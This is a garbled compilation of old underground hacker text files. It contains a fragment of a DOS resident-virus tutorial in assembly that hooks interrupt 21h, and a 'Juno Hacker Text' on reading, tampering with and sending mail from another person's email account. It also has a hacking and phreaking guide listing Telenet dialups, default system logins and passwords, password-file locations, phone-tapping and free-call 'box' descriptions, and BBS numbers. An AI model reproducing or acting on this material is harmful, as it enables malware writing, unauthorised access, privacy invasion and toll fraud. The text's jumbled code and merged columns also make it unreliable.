ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are several different types of installation check. The most common is a call to int 21h with AX set to a certain value. If certain registers are returned set to certain values, then the virus is resident. For example, a sample residency check would be: mov int cmp jz
ax,9999h ; residency check 21h bx,9999h ; returns bx=9999h if installed mov les
ax,ax ds,ax ; ds->interrupt table. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FIND THE TOP OF MEMORY ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dec mov mov program)
ax,ds ; Assume DS initially equals the segment of the PSP ax ds,ax ; DS = MCB of infected program bx,ds:[3] ; Get MCB size (total available paragraphs to
A simpler method of performing the same action is to use DOS's reallocate memory function in the following manner: mov mov int
ah,4ah ; Alter memory allocation (assume ES = PSP) bx,0FFFFh ; Request a ridiculous amount of memory 21h ; Returns maximum available memory in BX ; This is the same value as in ds:[3]
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ALLOCATE THE HIGH MEMORY ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The easiest method to allocate memory is to let DOS do the work for you. mov sub total
ah,4ah ; Alter memory allocation (assume ES = PSP) bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held ; memory available to the program (returned by
earlier ; call to int 21h/function 4ah int
21h
mov mov int
ah,48h ; Allocate memory bx,(endvirus-startvirus+15)/16 21h
mov
es,ax
; es now holds the high memory segment
dec mov mov
bx byte ptr ds:[0], 'Z' ; probably not needed. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ COPY THE VIRUS TO HIGH MEMORY ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is ridiculously easy to do. If ES holds the high memory segment, DS holds CS, and BP holds the delta offset, then the following code will do: lea xor mov rep
si,[bp+offset startvirus] di,di ; destination @ 0 cx,(endvirus-startvirus)/2 movsw ; Copy away, use words for speed
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ SWAP INTERRUPT VECTORS ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are, once again, two ways to do this; via DOS or directly. Almost every programmer worth his salt has played with interrupt vectors at one time or another. Via DOS: push pop mov int mov mov mov
es ; es->high memory ds ; ds->high memory ax,3521h ; get old int 21h handler 21h ; to es:bx word ptr ds:oldint21,bx ; save it word ptr ds:oldint21+2,es dx,offset int21 ; ds:dx->new int 21h handler in virus
mov int
ax,2521h 21h
; set handler 0. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ INTERRUPT HANDLER ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The calling CS:IP flags new bp ax mov mov mov
[bp+10] [bp+6] [bp+4] [bp+2] [bp]
bp, sp ; setup stack frame ax, [bp+4] ; get new flags [bp+10], ax; replace the old with the new
pop ax pop bp popf
; restore stack
To exit the interrupt handler after prechaining, use an iret statement rather than a retn or retf. Postchaining is even simpler: jmp handler
dword ptr cs:oldint21 ; this never returns to the virus int
When leaving the interrupt handler, make sure that is not unbalanced and that the registers were not altered. registers right after prechaining and long before postchaining.
the
stack
Save theÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ A THEORY ON RESIDENT VIRUSES ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄals. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IF YOU DON'T UNDERSTAND IT YET ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ don't despair; it will come after some time and much practise. You will soon find that resident viruses are easier to code than nonresident viruses. That's all for this installment, but be sure to grab the next one.
--+ Juno Hacker Text v1.0 +-======================================================== Index: Ia. What Juno Is Ib. How Juno Works Ic. How To Read Someone's Mail Id. How To Send Files Through Someone's Mail Without Them Knowing It Ie. Changing The Last User ******************************************************** Ia. What Juno Is Juno is a a free e-mail program for the Windows platform (availible at). You don't need to have an internet connection to access Juno (once you've got the software.) It has area codes in just about everywhere in the United States. It dials up to a local area phone number, then downloads and sends your mail. (They make their money from little advertisements throughout the program.) Ib. How Juno Works 1.Directory Structure: Juno is defaultly installed into your C:\Program Files\Juno. The users are within that directory (each user has his own directory) and are easy to spot because the are the USER000* directories. Example: C:\Program Files\Juno\USER0001 would be one user. C:\Program Files\Juno\USER0002 would be another. To find out which user is in which directory, each USER
folder has a Juno.ini file in it. Open it. In there you will find something like: [UserInfo] User=This_is_the_users_name Password=EAFAF84873845702 Salt=1D6F7D8798D4D639 The "User" is the name you are trying to find out (so you know who's mail you're reading.) The Password is NOT what Juno uses to decrypt, then check the password. I have tried deleting it, changing it and everything else, and I was still able to log in with my normal password. As of the time this file was written, I do not know how the password structure works. (but that's ok.. we wont need it) ;-] 2.Address Books The address books are (of course) email addresses saved by the user so he doesn't have to remember them. They are in the USER's folder with the name "addrbook.nv". open it with Edit (DOS's way of editing things.. type: "edit filename" to edit a file in DOS) and see how it works. Note: if you try to edit it with Notepad, it will save it as a .txt even if you change it to "all files". You can add, delete, or edit addresses.. If you want to mess them up so that they get all returned mail, make it something that they wont notice. Example: change BOBSMITH@WHATEVER.COM to B0BSMITH@WHATEVER.COM (notice the "O" changed to "0") Here is what several of the files are: -Inbox FOLD0000.FRM -Outbox FOLD0001.FRM -Deleted FOLD0002.FRM -Sent FOLD0003.FRM -Draft FOLD0004.FRM -AutoSave FOLD0005.FRM Ic. How To Read Someone's Mail Just open thier fold0000.frm file in Edit. They are all stored in the same file. Id. How To Send Files Through Someone's Mail Without Them Knowing It Juno's Outbox is stored in the fold0001.frm file (as shown above). Open that in DOS with Edit and put the following text. <----From here----> this_is_ the_email_message. From: Whoever
To: person@domain.com Date: Fri, 13 Nov 1998 11:15:18 -0600 Subject: this_is_the_subject_line... Full-Name: X-Status: Unsent X-Juno-Att: 0 MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit <----To Here----> Then in Edit press "alt" (to get the menu). Select "File" then "Save". IMPORTANT: The next time the person starts up Juno, he will be prompted: "Just get mail" or "Get AND Send mail". There really isn't much to worry about if the person isn't a heavy thinker. But if they look around a little bit, they'll find your message. But I've never had anyone notice so far. ;-] Ie. Changing The Last User When the last person who used juno exits, Juno automatically saves that person to disk so that next time Juno is started up again, the last user to access it is the one appearing on the drop-down box. This is no big deal, but if you want to say to someone "I wasn't the last one on", here is your "proof". Open the C:\Program Files\Juno\Lib\Juno.ini file. Scroll down until you see this: [History] Last user=USER_NAME Session ended=TRUE Recovery failed= Now, just change the user name to one that exists on the computer you are using. If you try to change it to a user name that doesn't exist on your computer, it wont work. ******************************************************** This phile may be destributed freely. nidgid@thepentagon.com
________ _/ _\_ / / \ /_ \| / /___ \ _/_\\ \\/ / \\__ \ / / /(O)| | (O) |\ \|\
/ \----//__/\----/ | \ / / / /___\ | \ \ | /| /xIIIIIx\ / / \ \ | |/xIIIIIIIIx\0 / \ \ \__\O------------O/ ________\ | | / \ ~¤LØRÐ VåÐðR¤~ ~¤by:NiDgiD~
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| ###################################################################### @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ********************************************************************** ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + THE. B. C. D. E. F. G. H. I. J. K. L. M. N. O.
What is hacking? Why hack? Hacking rules Getting started Where and how to start hacking Telenet commands Telenet dialups Telenet DNIC's Telenet NUA's Basic UNIX hacking Basic VAX/VMS hacking Basic PRIME hacking Password list Connecting modems to different phone lines Viruses, Trojans, and Worms
A. B. C. D. E. F. G. H.
What is phreaking? Why phreak? Phreaking rules Where and how to start phreaking Boxes and what they do Red Box plans Free calling from COCOT's ANAC numbers
A. B. C. D. E. F. G. H. I. J. K. L.
Hacking and phreaking W.W.W. pages Good hacking and phreaking text files Hacking and phreaking Newsgroups Rainbow Books Hacking and phreaking magazines Hacking and phreaking movies Hacking and phreaking Gopher sites Hacking and phreaking Ftp sites Hacking and phreaking BBS's Cool hackers and phreakers Hacker's Manifesto Happy hacking!
II. PHREAKING
III. REFERENCE
*. line.
Never speak about hacking projects over your home telephone stat full half telemail password) mail password) set cont d hangup access
Connect to a host. Shows network port. Network echo. Terminal echo. Mail.(need ID and Mail.(need ID and Select PAD parameters Continue. Disconnect. Hangs up. Telenet account.(ID and password)
G. Telenet dialups
Here is the list of all the Telenet dialups that I know of in the U.S.A., including the city, state, and area code: STATE,CITY: AL, AL, AL, AL, AL, AL, AL, AL, AL, AZ, AZ, AR, AR, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA,
Anniston Birmingham Decatur Dothan Florence Huntsville Mobile Montgomery Tuscaloosa Phoenix Tucson Ft.Smith Little Rock Bakersfield Chico Colton Compton Concord Escondido Eureka Fresno Garden Grove Glendale
AREA CODE: 205 205 205 205 205 205 205 205 205 602 602 501 501 805 916 714 213 415 619 707 209 714 818
NUMBER: 236-9711 328-2310 355-0206 793-5034 767-7960 539-2281 432-1680 269-0090 752-1472 254-0244 747-0107 782-2852 327-4616 327-8146 894-6882 824-9000 516-1007 827-3960 741-7756 444-3091 233-0961 898-9820 507-0909
CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, CA, C0, CO, CO, CO, CO, CO, CT, CT, CT, CT, CT, CT, CT, CT, CT, CT, DE, DE, DC, DC, FL, FL, FL, FL, FL, FL,
Hayward Los Angeles Marina Del Rey Merced Modesto Montery Norwalk Oakland Oceanside Palo Alto Pomona Sacramento Salinas San Carlos San Diego San Francisco San Jose San Pedro San Rafael San Ramon Santa Ana Santa Barbara Santa Cruz Santa Rosa Stockton Thousand Oaks Vallejo Ventura Visalia West Covina Woodland Hills Colorado Denver Ft. Collins Grand Junction Greeley Pueblo Bridgeport Danbury Hartford Middletown New Britain New Haven New London Norwalk Stamford Waterbury Dover Newark Washington Washington Boca Raton Cape Coral Cocoa Beach Daytona Beach Ft. Lauderdale Gainsville
415 213 213 209 209 408 213 415 619 415 714 916 408 415 619 415 408 213 415 415 714 805 408 707 209 805 415 805 209 818 818 719 303 303 303 303 719 203 203 203 203 203 203 203 203 203 203 302 302 202 202 407 813 407 904 305 904
881-1382 624-2251 306-2984 383-2557 576-2852 646-9092 404-2237 836-4911 430-0613 856-9995 626-1284 448-6262 443-4940 591-0726 233-0233 956-5777 294-9119 548-6141 472-5360 829-6705 558-7078 682-5361 429-6937 656-6760 957-7610 495-3588 724-4200 656-6760 627-1201 915-5151 887-3160 635-5361 337-6060 493-9131 241-3004 352-8563 542-4053 335-5055 794-9075 247-9479 344-8217 225-7027 624-5954 447-8455 866-7404 348-0787 753-4512 678-8328 454-7710 429-7896 429-7800 338-3701 275-7924 267-0800 255-2629 764-4505 338-0220
FL, FL, FL, FL, FL, FL, FL, FL, FL, FL, FL, FL, FL, FL, GA, GA, GA, GA, GA, GA, GA, GA, HI, ID, ID, ID, ID, IL, IL, IL, IL, IL, IL, IL, IL, IL, IL, IN, IN, IN, IN, IN, IN, IN, IN, IN, IN, IA, IA, IA, IA, IA, IA, IA, IA, KS, KS,
Jacksonville Lakeland Melbourne Miami Naples Ocala Orlando Pensacola Pompano Beach St. Petersburg Sarasota Tallahassee Tampa West Palm Beach Albany Athens Atlanta Augusta Colombus Macon Rome Savannah Oahu Boise Idaho Falls Lewiston Pocatella Aurora Bloomington Chicago Decatur Dekalb Joliet Peoria Rockford Springfield Urbana Bloomington Evansville Ft. Wayne Gary Indianapolis Kokomo Lafayette Muncie South Bend Terre Haute Ames Cedar Rapids Davenport Des Moines Dubuque Iowa City Sioux City Waterloo Lawrence Manhattan
904 813 407 305 813 904 407 904 305 813 813 904 813 407 912 404 404 404 404 912 404 912 808 208 208 208 208 312 309 312 217 815 815 309 815 217 217 812 812 219 219 317 317 317 317 219 812 515 319 319 515 319 319 712 319 913 913
353-1818 683-5461 242-8247 372-0230 263-3033 351-3790 422-4099 432-1335 941-5445 323-4026 923-4563 681-1902 224-9920 833-6691 888-3011 548-5590 523-0834 724-2752 571-0556 743-8844 234-1428 236-2605 528-0200 343-0611 529-0406 743-0099 232-1764 896-0620 827-7000 938-0600 429-0235 758-2623 726-0070 637-8570 965-0400 753-1373 384-6428 332-1344 424-7693 426-2268 882-8800 299-0024 455-2460 742-6000 282-6418 233-7104 232-5329 233-6300 364-0911 324-2445 288-4403 556-0783 351-1421 255-1545 232-5441 843-8124 537-0948
KS, KS, KS, KY, KY, KY, KY, KY, LA, LA, LA, LA, LA, LA, LA, ME, ME, ME, ME, MD, MD, MD, MA, MA, MA, MA, MA, MA, MA, MA, MA, MA, MA, MA, MA, MA, MI, MI, MI, MI, MI, MI, MI, MI, MI, MI, MI, MI, MI, MI, MI, MI, MN, MN, MN, MN, MN,
Salina Topeka Wichita Bowling Green Frankfort Lexington Louisville Owensboro Alexandria Baton Rouge Lafayette Lake Charles Monroe New Orleans Shreveport Augusta Brewer Lewiston Portland Annapolis Baltimore Frederick Boston Brockton Fall River Framingham Lawrence Lexington Lowell New Bedford Northampton Pittsfield Salem Springfield Woods Hole Worcester Ann Arbor Battle Creek Detroit Flint Grand Rapids Jackson Kalamazoo Lansing Midland Muskegon Pontiac Port Huron Saginaw Southfield Traverse City Warren Duluth Mankato Minneapolis Rochester St. Cloud
913 913 316 502 502 606 502 502 318 504 318 318 318 504 318 207 207 207 207 301 301 301 617 508 508 508 508 617 508 508 413 413 508 413 508 508 313 616 313 313 616 517 616 517 517 616 313 313 517 313 616 313 218 517 612 507 612
825-7900 233-9880 262-5669 782-7941 875-4654 233-0312 589-5580 686-8107 445-1053 343-0753 233-0002 436-0518 387-6330 524-4094 221-5833 622-3123 989-3081 784-0105 761-4000 224-8550 727-6060 293-9596 292-0662 580-0721 677-4477 879-6798 975-2273 863-1550 937-5214 999-2915 586-0510 499-7741 744-1559 781-3811 540-7500 755-4740 996-5995 968-0929 964-2988 235-8517 774-0966 782-8111 345-3088 484-0062 832-7068 726-5723 332-5120 982-8364 790-5166 827-4710 946-2121 575-9152 722-1719 388-3780 341-2459 282-5917 253-2064
MS, MS, MS, MS, MO, MO, MO, MO, MO, MO, MT, MT, MT, MT, NE, NE, NV, NV, NH, NH, NH, NH, NH, NJ, NJ, NJ, NJ, NJ, NJ, NJ, NJ, NJ, NJ, NJ, NJ, NJ, NJ, NJ, NJ, NM, NM, NM, NY, NY, NY, NY, NY, NY, NY, NY, NY, NY, NY, NY, NY, NY, NC,
Gulfport Jackson Meridian Starkville Columbia Jefferson City Kansas City St. Joseph St. Louis Springfield Billings Great Falls Helena Missoula Lincoln Omaha Las Vegas Reno Concord Durham Manchester Nashua Portsmouth Atlantic City Freehold Hackensack Marlton Merchantville Morristown New Brunswick Newark Passaic Paterson Princeton Rahway Redbank Roseland Sayreville Trenton Albuquerque Las Cruces Santa Fe Albany Binghampton Buffalo Dear Park Hempstead Ithaca New York City New York City Plattsburgh Poughkeepsie Rochester Syracuse Utica Whit Plains Asheville
601 601 601 601 314 314 816 816 314 417 406 406 406 406 402 402 702 702 603 603 603 603 603 609 201 201 609 609 201 201 201 201 201 609 201 201 201 201 609 505 505 505 518 607 716 516 516 607 212 212 518 914 716 315 315 914 704
863-0024 969-0036 482-2210 324-2155 449-4404 634-5178 221-9900 279-4797 421-4990 864-4814 245-7649 771-0067 443-0000 721-5900 475-4964 341-7733 737-6861 827-6900 224-1024 868-2924 627-8725 880-6241 431-2302 348-0561 780-5030 488-6567 596-1500 663-9297 455-0275 745-2900 623-0469 778-5600 684-7560 799-5587 815-1885 571-0003 227-5277 525-9507 989-8847 243-4479 526-9191 473-3403 465-8444 772-6642 847-1440 667-5566 292-3800 277-2142 741-8100 620-6000 562-1890 473-2240 454-1020 472-5583 797-0920 328-9199 252-9134
NC, NC, NC, NC, NC, NC, NC, NC, NC, NC, NC, ND, ND, ND, OH, OH, OH, OH, OH, OH, OH, OH, OH, OH, OH, OH, OH, OH, OH, OH, OK, OK, OK, OK, OK, OR, OR, OR, OR, OR, OR, OR, PA, PA, PA, PA, PA, PA, PA, PA, PA, PA, PA, PA, PA, PA, PA,
Charlotte Fayetteville Gastonia Greensboro High Point North Wilkesboro Raleigh Res Tri Park Tarboro Wilmington Winston-Salem Fargo Grand Forks Mandan Canton Cincinnati Cleveland Colombus Dayton Elyria Hamilton Kent Lorain Mansfield Sandusky Springfield Toledo Warren Wooster Youngstown Bartlesville Lawton Oklahoma City Stillwater Tulsa Corvallis Eugena Hood River Klamath Falls Medford Portland Salem Allentown Altoona Carlisle Danville Erie Harrisburg Johnstown King Of Prussia Lancaster Philadelphia Pittsburgh Reading Scranton State College Wilkes-Barre
704 919 704 919 919 919 919 919 919 919 919 701 701 701 216 513 216 614 513 216 513 216 216 419 419 513 419 216 216 216 918 405 405 405 918 503 503 503 503 503 503 503 215 814 717 717 814 717 814 215 717 215 412 215 717 814 717
332-3131 323-8165 865-4708 273-2851 889-7494 838-9034 834-8254 549-8139 823-0579 763-8313 725-2126 235-7717 775-7813 663-2256 452-0903 579-0390 575-1658 463-9340 461-5254 323-5059 863-4116 678-5115 960-1170 526-0686 627-0050 324-1520 255-7881 394-0041 264-8920 743-1296 336-3675 353-0333 232-4546 624-1113 584-3247 754-9273 683-1460 386-4405 882-6282 779-6343 295-3028 378-7712 435-3330 949-0310 249-9311 271-0102 899-2241 236-6882 535-7576 337-4300 295-5405 574-9462 288-9950 376-8750 961-5321 231-1510 829-3108
PA, PA, RI, SC, SC, SC, SC, SC, SC, SC, TN, TN, TN, TN, TN, TN, TN, TN, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, TX, UT, UT, UT, VT, VT, VT, VT, VA, VA, VA, VA, VA, VA, VA,
Williamsport York Providence Charleston Columbia Greenville Spartenburg Pierre Rapid City Sioux Falls Bristol Chattanooga Clarksville Johnson City Knoxville Memphis Nashville Oak Ridge Abilene Amarillo Athens Austin Brownsville Bryan Corpus Christi Dallas El Paso Ft. Worth Galveston Houston Laredo Longview Lubbock Mcallen Midland Nederland San Angelo San Antonio Sherman Temple Tyler Waco Wichita Falls Ogden Provo Salt Lake City Burlington Montpelier Rutland White River Jct. Blacksburg Charlottesville Covington Fredericksburg Harrisonburg Herndon Lynchburg
717 717 401 803 803 803 803 605 605 605 615 615 615 615 615 901 615 615 915 806 214 512 512 409 512 214 915 817 409 713 512 214 806 512 915 409 915 512 214 817 214 817 817 801 801 801 802 802 802 802 703 804 703 703 703 703 804
494-1796 846-6550 751-7910 722-4303 254-0695 233-3486 585-1637 224-0481 348-2621 336-8593 968-1130 756-1161 552-0032 282-6645 525-5500 521-0215 244-3702 481-3590 676-9151 373-0458 677-1712 928-1130 542-0367 822-0159 884-9030 748-6371 532-7907 332-4307 762-4382 227-1018 724-1791 236-4205 747-4121 686-5360 561-9811 722-3720 944-7612 225-8004 893-4995 773-9723 597-8925 752-9743 322-3774 627-1630 373-0542 359-0149 864-0808 229-4966 775-1676 295-7631 552-9181 977-5330 962-2217 371-0188 434-7121 435-1800 845-0010
VA, Newport News VA, Norfolk VA, Richmond VA, Roanoke WA, Auburn WA, Bellingham WA, Everett WA, Longview WA, Olympia WA, Richland WA, Seattle WA, Spokane WA, Tacoma WA, Vancouver WA, Wenatchee WA, Yakima WV, Charleston WV, Huntington WV, Morgantown WV, Wheeling WI, Beloit WI, Eau Claire WI, Green Bay WI, Kenosha WI, La Crosse WI, Madison WI, Milwaukee WI, Neenah WI, Racine WI, Sheboygan WI, Wausau WI, West Bend WY, Casper WY, Cheyenne WY, Laramie H. Telenet DNIC's
804 804 804 703 206 206 206 206 206 509 206 509 206 206 509 509 304 304 304 304 608 715 414 414 608 608 414 414 414 414 715 414 307 307 307
596-6600 625-1186 788-9902 344-2036 939-9982 733-2720 775-9929 577-5835 754-0460 943-0649 625-9612 455-4071 627-1791 693-6914 663-6227 575-1060 343-6471 523-2802 292-0104 233-7732 362-5287 836-9295 432-2815 552-9242 784-0560 257-5010 271-3914 722-7636 632-6166 452-3995 845-9584 334-2206 265-5167 638-4421 721-5878
Here is the list of all the Telenet DNIC's. These will be defined and explained in the next section: DNIC:
NETWORK:
02041 02062 02080 02284 02322 02392 02342 02382 02402 02405 02442 02624 02704 02724
Datanet-1 DCS Transpac Telepac (Switzerland) Datex-P (Austria) Radaus PSS Datapak (Denmark) Datapak (Sweden) Telepak Finpak Datex-P (West Germany) Luxpac Eirpak
03020 03028 03103 03106 03110 03340 03400 04251 04401 04408 04501 04542 05052 05053 05252 05301 06550 07240 07241 07421 09000
Datapac Infogram ITT/UDTS (U.S.A.) Tymnet Telenet Telepac (Mexico) UDTS (Curacau) Isranet DDX-P Venus-P Dacom-Net Intelpak Austpac Midas Telepac (Hong Kong) Pacnet Saponet Interdata Renpac Dompac: 031102010022500 031102010015600 031102010022000 031102010025900 031102010046100 031102010025200
SYSTEM TYPE: VAX UNIX VAX UNIX VAX PRIME
031102010046100 031102010052200 031102020001000 031102020013200 031102020014100 031102020014200 031102020015000 031102020016100 031102020021400 031102020024500 031102020030800 031102020030900 031102020031200 031102020033600 031102020033700 031102020034300 031102020036000 031102030007500 031102030002200 031102030013600 031102060003200 031102060044000 031102060044900 031102060044700 031102120003900 031102120015200 031102120026600 031102120026300 031102120026700 031102120044900 031102120053900 031102140024000
VAX VAX PRIME VAX PRIME PRIME VAX UNIX PRIME AOS PRIME PRIME PRIME VAX VAX PRIME HP-3000 VAX VM/370 PRIME HP-3000 VAX NOS VM/370 NOS PRIME VAX VAX UNIX UNIX VOS: root root sys sys daemon uucp tty test unix unix bin adm adm admin admin sysman sysman sysman sysadmin sysadmin sysadmin sysadmin sysadmin who learn uuhost guest host nuucp rje games games sysop root demo
Password: root system sys system daemon uucp tty test unix test bin adm admin adm admin sysman sys system sysadmin sys system admin adm who learn uuhost guest host nuucp rje games player sysop sysop:
AIX 3 ! or
/etc/security/passwd x
/tcb/auth/files//
/etc/shadow
Linux 1.1
/etc/shadow
OSF/1 *
/etc/passwd[.dir|.pag]
SCO UNIX #.2.x
Token:
/tcb/auth/files//
*
SunOS 4.1+c2 SunOS 5.0
/etc/security/passwd.adjunct /etc/shadow
System V 4.0 x
/etc/shadow
System V 4.2
/etc/security/* database
Ultrix 4 * UNICOS *
##
/etc/auth[.dir|.pag]
 2 3 4 5 6 7 8 9 A B C D E F G
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z
19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62: SYSTEM SYSTEM SYSTEM SYSTEM OPERATOR SYSTEST SYSTEST SYSTEST SYSMAINT SYSMAINT SYSMAINT FIELD FIELD GUEST GUEST DEMO DEMO TEST DECNET
Password: OPERATOR MANAGER SYSTEM SYSLIB OPERATOR UETP SYSTEST TEST SYSMAINT SERVICE DIGITAL FIELD SERVICE GUEST unpassworded DEMO unpassworded TEST DECNET
Here are some of the VAX/VMS commands:
Command: HELP (H) TYPE (T) RENAME (REN) PURGE (PU) PRINT (PR) DIRECTORY (DIR) DIFFERENCES (DIF) CREATE (CR) DELETE (DEL) COPY (COP) CONTINUE (C)
Function: Gives help and list of commands. View contents of a file. Change name of a file. Deletes old versions of a file. Prints a file. Shows list of files. Shows differences between files. Creates a file. Deletes a file. Copy a file to another. ". It should then ask you for your username and password. The default usernames and passwords are listed below: Username:
PRIME PRIME PRIMOS PRIMOS PRIMOS_CS PRIMOS_CS PRIMENET SYSTEM SYSTEM SYSTEM NETLINK TEST GUEST GUEST1
PRIME PRIMOS PRIMOS PRIME PRIME PRIMOS PRIMENET SYSTEM PRIME PRIMOS NETLINK TEST GUEST: Red Box
Description: generates tones for free phone calls
Black Box
when called, caller pays nothing
Beige Box
lineman's handset
Green Box
generates coin return tones
Cheese Box
turns your phone into a payphone
Acrylic Box services
steal 3-way calling and other
Aqua Box
stops F.B.I. lock-in-trace
Blast Box
phone microphone amplifier
Blotto Box area
shorts out all phones in your
Blue Box
generates 2600hz tone
Brown Box
creates party line
Bud Box
tap neighbors phone
Chatreuse Box
use electricity from
Chrome Box
manipulates traffic
Clear Box
free calls
Color Box
phone conversation
Copper Box
causes crosstalk
Crimson Box
hold button
Dark Box
re-route calls
Dayglo Box
connect to neighbors phone line
Divertor Box DLOC Box
re-route calls create party line
pho
Gold Box Infinity Box
dialout router remote activated phone
Jack Box
touch-tone key pad
Light Box
in-use light
Lunch Box
AM transmitter
Magenta Box
connect remote phone line to
Mauve Box
phone tap without cutting into
Static Box
raises voltage on phone
Switch Box
add services
Tan Box
phone conversation
TV Cable Box
see sound waves on TV
Urine Box
create disturbance on phone
Violet Box
stop payphone from hanging
White Box
DTMF key pad
Yellow Box
add line extension
F. Box Plans
recBlue 1800 202 203 205 205 205 205 205 205 205 205 205 205 206 207 209 209 210 212 213 213 213 213 213 213 214 214 214 214 215
958 811 970 300-222-2222 300-555-5555 300-648-1111 300-765-4321 300-798-1111 300-833-3333 557-2311 811 841-1111 908-222-2222 411 958 830-2121 211-9779 830 958 114 1223 211-2345 211-2346 760-2??? 61056 570 790 970-222-2222 970-611-1111 410-????
215 215 216 216 216 217 219 219 301 310 310 310 310 312 312 312 312 313 313 313 313 314 315 315 315 317 317 317 334 334 401 401 402 404 404 404 405 405 407 408 408 408 409 409 410 410 410 412 412 412 413 413 414 415 415 415 415
511 958 200-???? 331 959-9968 200-???-???? 550 559 958-9968 114 1223 211-2345 211-2346 200 290 1-200-8825 1-200-555-1212 200-200-2002 200-222-2222 200-???-???? 200200200200200 410-???? 953 958 998 310-222-2222 559-222-2222 743-1218 5572411 5572311 200-200-4444 222-2222 311 311 940-???-???? 940 890-7777777 897 200-222-2222 300-???-???? 760 940 951 970-???? 200-6969 200-555-1212 811 711-6633 711-4411 999-???? 958 200-555-5555 330-2234 200-555-1212 211-2111 2222 640
415 415 419 502 502 503 503 504 504 504 504 508 508 508 508 509 510 512 512 515 515 516 516 517 517 518 518 518 603 606 606 607 609 610 610 612 614 614 615 615 615 616 617 617 617 617 617 618 618 619 619 703 704 707 708 708 708
760-2878 7600-2222 311 200-2222222 997-555-1212 611 999 99882233 201-269-1111 998 99851-0000000000 958 200-222-1234 200-222-2222 26011 560 760-1111 830 970-???? 5463 811 958 968 200-222-2222 200200200200200 511 997 998 200-222-2222 997-555-1212 711 993 958 958 958-4100 511 200 517 200200200200200 2002222222 830 200-222-2222 200-222-1234 200-222-2222 200-444-4444 220-2622 958 200-???-???? 930 211-2001 211-2121 811 311 211-2222 1-200-555-1212 1-200-8825 200-6153
708 708 713 713 713 714 714 714 716 716 717 718 802 802 802 802 805 805 805 805 806 810 812 813 815 817 817 818 818 818 903 904 906 907 907 908 910 910 910 914 915 916 916 919 919 U.K.: 175
III. REFERENCE
A. Hacking and phreaking WWW. sites
724-9951 356-9646 380 970-???? 811 114 211-2121 211-2222 511 990 958 958 2-222-222-2222 200-222-2222 1-700-222-2222 111-2222 114 211-2345 211-2346 830 970-???? 200200200200200 410-555-1212 311 200-???-???? 290 211 970-611-1111 1223 211-2345 211-2346 970-611-1111 200-222-222 1-200-222-2222 811 958 200 311 988 990-1111 970-???? 211-2222 461 200 711 Yellow 2
Computer Security Requirements Computer Security Requirements
Tan Systems
Understanding Audit In Trusted
Bright Blue
Trusted Product Evaluation
Neon Orange Access
Understanding Discretionary
Teal Green
Glossary Of Computer Terms
Orange 2
Understanding Configurations
Red
Interpretation Of Evaluation
Burgundy Documentation
Understanding Design
Dark Lavender
Understanding Trusted Distrobution
Venice Blue
Computer Security Sub-Systems
Aqua
Understanding Security Modeling
Dark Red
Interpretations Of Environments
Pink
Rating Maintenence Phase
Purple Brown Yellow-Green
Formal Verification Systems Understanding Trusted Facilities Writing Trusted Facility Manuals
Light Blue
Understanding Identification And
Blue
Product Evaluation Questionaire
Gray
Selecting Access Control List
Lavander Interpretation
Data Base Management
Yellow 3
Understanding Trusted Recovery
Bright Orange
Understanding Security Testing
Purple 1
Guide To System Procurement
Purple 2
Guide To System Procurement
Purple 3
Guide To System Procurement
Purple 4
Guide To System Procurement
Green
Understanding Data Remanence
Hot Peach
Writing Security Features
Turquiose Security Violet
Understanding Information:
203 832-8441 210 493-9975 Sayer's Domain 303 343-4053 Haven 315 656-5135 Independent Nation 315 656-5135 617 855-2923 Neotek 708 676-9855 2000 713 579-2276 806 747-0802 Line 908 526-4384 502 499-8933 510 935-5845 ...Screaming Electron 408 747-0778 708 459-7267 Pit 415 345-2134 Brass 415 697-1320 Hell J. Cool hackers and phreakers
Name: Rune Stone The Truth Hacker's
